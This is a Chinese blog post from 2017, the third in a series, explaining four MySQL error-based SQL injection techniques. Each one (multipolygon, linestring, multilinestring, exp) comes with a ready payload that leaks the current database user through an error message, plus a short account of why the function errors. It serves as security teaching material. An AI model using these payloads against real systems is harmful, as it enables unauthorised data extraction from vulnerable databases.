十种MYSQL显错注入原理讲解(三)

这回间隔时间有点长了,年前年后忙的头晕眼花,外加大病。下面我继续讲解。

1、multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

函数讲解:

  multipolygon()是一种由Polygon元素构成的几何对象集合。

原理解释:

  multipolygon()需要的是Polygon元素。为了显错传入字符串,所以报错。

 2、linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

函数讲解:

  LineString()是具有点之间线性内插特性的Curve.

原理解释:

  LineString(1 1,2 2) 这是它的用法。为了显错传入了,字符串....

3、multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

函数讲解:

  multilinestring()是一种由LineStirng元素构成的MultiCurve几何对象集合。

原理解释:

  MULTILINESTRING((10 10, 20 20), (15 15, 30 15))这样用的。为了显错又把字符串传进去了。

4、exp()

select * from test where id=1 and exp(~(select * from(select user())a));

函数解释:

  EXP(x)函数计算e的x次方,即ex

原理解释:

  EXP()肯定是需要数字的,传入个字符串必然显错。

 

到这里这十种就完结了,其实还有很多方法可以显错,不限于这十种。共同特点在于,传入非正常参数导致报错和查询嵌套。

posted @ 2017-02-10 00:13  米怀特  阅读(617)  评论(0编辑  收藏  举报